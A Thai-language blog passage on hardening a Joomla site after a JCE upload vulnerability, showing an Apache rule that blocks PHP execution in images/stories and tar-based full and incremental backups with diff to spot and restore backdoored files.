จะได้ผลดังนี้
เป็นอันว่า แม้ Hacker จะสามารถเอาไฟล์ 0day.php ไปวางใน images/stories ได้ แต่ก็จะไม่สามารถทำงานได้ (อย่างน้อย ก็เรียกใช้ไม่ได้ แต่ผู้ดูแลต้องค้นหาและทำลายเป็นประจำ)
อธิบายเพิ่มเติมเกี่ยวกับ Apache Configuration เล็กน้อย, การเขียนนั้น ประกอบด้วยสิ่งที่เรียกว่า Directive โดยแบ่งออกเป็น Container และ Directive ทั่วไป
1. Container Directive: เป็นตัวบอกขอบเขต แบ่งออกเป็น
1.1 FileSystem: ได้แก่
1.1.1 <Directory directory-path> … </Directory>
ตั้งค่ากับเฉพาะ ขอบเขตของ Directory ซึ่ง directory-path จะต้องเขียนตามให้เต็ม Path เช่น
<Direcotory /var/www>
….
</Directory>1.1.2 <DirectoryMatch regexp> … </DirectoryMatch>
ตั้งค่ากับเฉพาะ ขอบเขตของ Directory ซึ่งสอดคล้องกับ regexp ที่กำหนด เช่น
<DirecotoryMatch “.*/images/stories/.*”>
….
</DirectoryMatch>1.1.3 <Files filename> … </Files>
ตั้งค่ากับเฉพาะ ชื่อไฟล์ที่ตรงกับ filename ที่กำหนด เช่่น
<Files “somefile.html”>
…
</Files>1.1.4 <FilesMatch regexp> … </FilesMatch>
ตั้งค่ากับเฉพาะ ชื่อไฟล์ที่สอดคล้องกับ regexp ที่กำหนด เช่่น
<FilesMatch “.*\.php$”>
…
</FilesMatch>1.2 WebSpace: ได้แก่
1.2.1 <Location URL-Path> … </Location>
ตั้งค่ากับเฉพาะ URL ที่ตรงกับ URL-Path เช่น
<Location /private>
…
</Location>
1.2.2 <LocationMatch regexp> … </LocalMatch>
ตั้งค่ากับเฉพาะ URL ที่สอดคล้องกับ regexp เช่น
<LocationMatch “/(extra|special)/data”>
…
</LocationMatch>2. Other Directive
ซึ่งมีอยู่มากมาย กรุณาอ่านเพิ่มเติมจาก http://httpd.apache.org/docs/2.2/mod/core.html แต่ในที่นี้ จะขอยกตัวอย่างที่สำคัญ และจำเป็นต้องใช้ ตามตัวอย่างข้างต้น คือOrder ordering : อยู่ใน Module mod_access_compat, ค่า ordering ที่สามารถกำหนดได้คือ
Allow, Deny ซึ่งจะพิจารณาการอนุญาตก่อนปฏิเสธ และ Deny, Allow จะปฏิเสะก่อนแล้วพิจารณาอนุญาต ให้เข้าถึงไฟล์ หรือ ไดเรคทอรี่ต่างๆ
Deny all|host : อยู่ใน Module mod_access_compat, ค่า all หมายถึง ปฏิเสธทุกการเชื่อมต่อจากทุกๆที่, host สามารถเป็น IP Address หรือ URL ก็ได้
Allow all|host : อยู่ใน Module mod_access_compat, ค่า all หมายถึง ยอมรับทุกการเชื่อมต่อจากทุกๆที่, host สามารถเป็น IP Address หรือ URL ก็ได้
ดังนั้น ไฟล์ /etc/apache2/conf.d/jce ซึ่งมีเนื้อหาว่า
<DirectoryMatch ".*/images/stories/.*> <FilesMatch "\.php$"> Order Deny,Allow Deny from All </FilesMatch> </DirectoryMatch>
หมายถึง ถ้ามีการเรียก ไฟล์ที่อยู่ใน directory อะไรก็ตามที่มีส่วนหนึ่งของ Path เป็น images/stories ก็จะ ไปดูว่า ชื่อไฟล์ที่เรียกนั้น มีนามสกุลเป็น .php หรือไม่ (.* แปลว่า ตัวอักษรอะไรก็ได้, \. หมายถึงจุด “.” ที่ใช้เชื่อม filename และ extenstion และ $ หมายถึง สิ้นสุดข้อความ) ถ้าเป็นการเรียกไฟล์ .php ใน images/stories ก็จะ ปฏิเสธเสมอ (Deny from ALL)
แล้ว ทำไมไม่ใช่ .htaccess ?
จาก Apache Security Tips ไม่แนะนำให้ใช้ .htaccess เพราะปัญหาด้าน Performance เพราะทุกครั้งที่จะเข้าถึงไฟล์ จะต้องพิจารณา .htaccess ทุกครั้ง ในเวปไซต์ที่มีการใช้งานมาก อาจจะทำให้ความเร็วช้าลงได้ อีกประการหนึ่ง .htaccess นั้นอยู่ในไดเรคทอรี่ที่ผู้ใช้สามารถกำหนดสิทธิ์ (Permission) เองได้ หากพลาดกำหนดให้ Web User สามารถเขียนได้ อาจจะทำให้ Hacker เลี่ยงข้อกำหนดต่างๆได้ หาก ที่ Apache Main Configuration ประกาศ AllowOverride เป็น ALL
ขอให้โชคดี
Reference
[1] “Apache HTTP Server Version 2.2 Documentation – Apache HTTP …” 2005. 7 Jan. 2014 <http://httpd.apache.org/docs/2.2/> .
[2] “Security Tips – Apache HTTP Server.” 2005. 7 Jan. 2014 <http://httpd.apache.org/docs/2.2/misc/security_tips.html>
-
-
วิธีตรวจสอบเว็บไซต์ที่โดน Hack #11
ตั้งแต่ วิธีตรวจสอบเว็บไซต์ที่โดน Hack #1 เป็นต้นมา เป็นการแสดงให้เห็นถึง ปัญหา, การตรวจสอบ, การค้นหา หลังจากเกิดปัญหาแล้วทั้งสิ้น ก็จะเห็นได้ว่า ยุ่งยาก และเป็นเรื่องยากมาก ที่จะค้นหา Backdoor ให้หมด และการจะกำจัดให้หมดนั้นเป็นภาระอย่างมาก
ในบทความนี้ จะกล่าวถึง การสำรองข้อมูลไว้ พร้อมๆกับ สามารถตรวจสอบได้ว่า มี Backdoor ใดเกิดขึ้น, มีการแก้ไขไฟล์เพื่อวาง Backdoor ไว้บ้าง, มีการเปลี่ยนแปลงไฟล์ของระบบเป็น Backdoor บ้างหรือไม่ และยังสามารถ กู้ระบบกลับมาได้ แล้วจึงดำเนินการป้องกันไม่ให้เกิดขึ้นซ้ำอีกได้
การสำรองข้อมูล หรือการ Backup มี 2 แบบ
- Full Backup: สำรองทุกไฟล์และไดเรกทอรี่
- Incremental Backup: สำรอง “เฉพาะ” ไฟล์และไดเรกทอรี่ ที่มีการเพิ่ม หรือเปลี่ยนแปลง เท่านั้น
เครื่องมือในการ Backup มีหลายอย่าง ในบทความนี้ ขอใช้ tar เพราะสามารถใช้งานได้ง่าย
โดยยกตัวอย่าง เป็นการ Backup /var/www/joomla151. Full Backup ทำได้โดยการสร้างไฟล์ fullbackup.sh และมีข้อมูลดังนี้
d=$(date "+%Y%m%d%H%M%S") cp /dev/null joomla15.snar tar -zcvf joomla15-full-$d.tar.gz -g joomla15.snar /var/www/joomla15
2. Incremental Backup ทำได้โดยการสร้างไฟล์ incrementalbackup.sh และมีข้อมูลดังนี้
d=$(date "+%Y%m%d%H%M%S") tar -zcvf joomla15-inc-$d.tar.gz -g joomla15.snar /var/www/joomla15
โดยคำสั่ง tar มีคำสั่งเพิ่มเติม เล็กน้อย คือ -g ตามตัว joomla15.snar ซึ่ง จะเก็บสถานะของการ Backup ล่าสุดเอาไว้ ทำให้สามารถทราบได้ว่า มีต้อง Backup ไฟล์ใดบ้าง, ส่วน ชื่อไฟล์ .tar.gz ก็จะนำหน้าด้วย วันเวลานาที ของการทำ backup ไว้
เมื่อทำคำสั่ง
sh fullbackup.sh
จะได้ไฟล์นี้
joomla15-full-20140105004433.tar.gz
ต่อมา สมมุติ มีการโจมตี Joomla ด้วยช่องโหว่ของ JCE แบบนี้
เมื่อใช้คำสั่ง
find /var/www/ -name "*.php" -type f | grep 'images/stories'
ได้ผลดังนี้
/var/www/joomla15/images/stories/0day.php
และ สมมุติ Hacker ใช้งาน Backdoor 0day.php ดังกล่าวทาง URL
http://localhost/joomla15//images/stories/0day.php
และ แก้ไขไฟล์
/var/www/joomla15/CREDITS.php
ดังนี้
สรุปคือ Hacker สามารถ สร้างและเปลี่ยนแปลงไฟล์
/var/www/joomla15/images/stories/0day.php /var/www/joomla15/CREDITS.php
เมื่อใช้คำสั่ง
sh incrementalbackup.sh
จะได้ไฟล์
joomla15-inc-20140105021906.tar.gz
วิธีตรวจสอบ ไฟล์ที่เพิ่มเข้ามา และมีการเปลี่ยนแปลง ใช้คำสั่ง diff โดยเอารายการของไฟล็ใน .tar.gz มาเปรียบเทียบกัน ด้วยคำสั่ง
diff <(tar -ztvf joomla15-full-20140105004433.tar.gz) <(tar -ztvf joomla15-inc-20140105021906.tar.gz) |grep '>'
ผลที่ได้คือ จะทราบว่ามีไฟล์ ต่อไปนี้ เพิ่ม/เปลี่ยนแปลง
> -rw-r--r-- www-data/www-data 15571 2014-01-05 02:10 var/www/joomla15/CREDITS.php > -rw-r--r-- www-data/www-data 14315 2014-01-05 01:55 var/www/joomla15/images/stories/0day.php
หาก ต้องการไฟล์ต้นฉบับของ CREDITS.php ก็ใช้คำสั่ง
tar -zxvf joomla15-full-20140105004433.tar.gz var/www/joomla15/CREDITS.php
ก็สามารถกู้ไฟล์เดิมกลับมาได้ครับ
ขอให้โชคดี
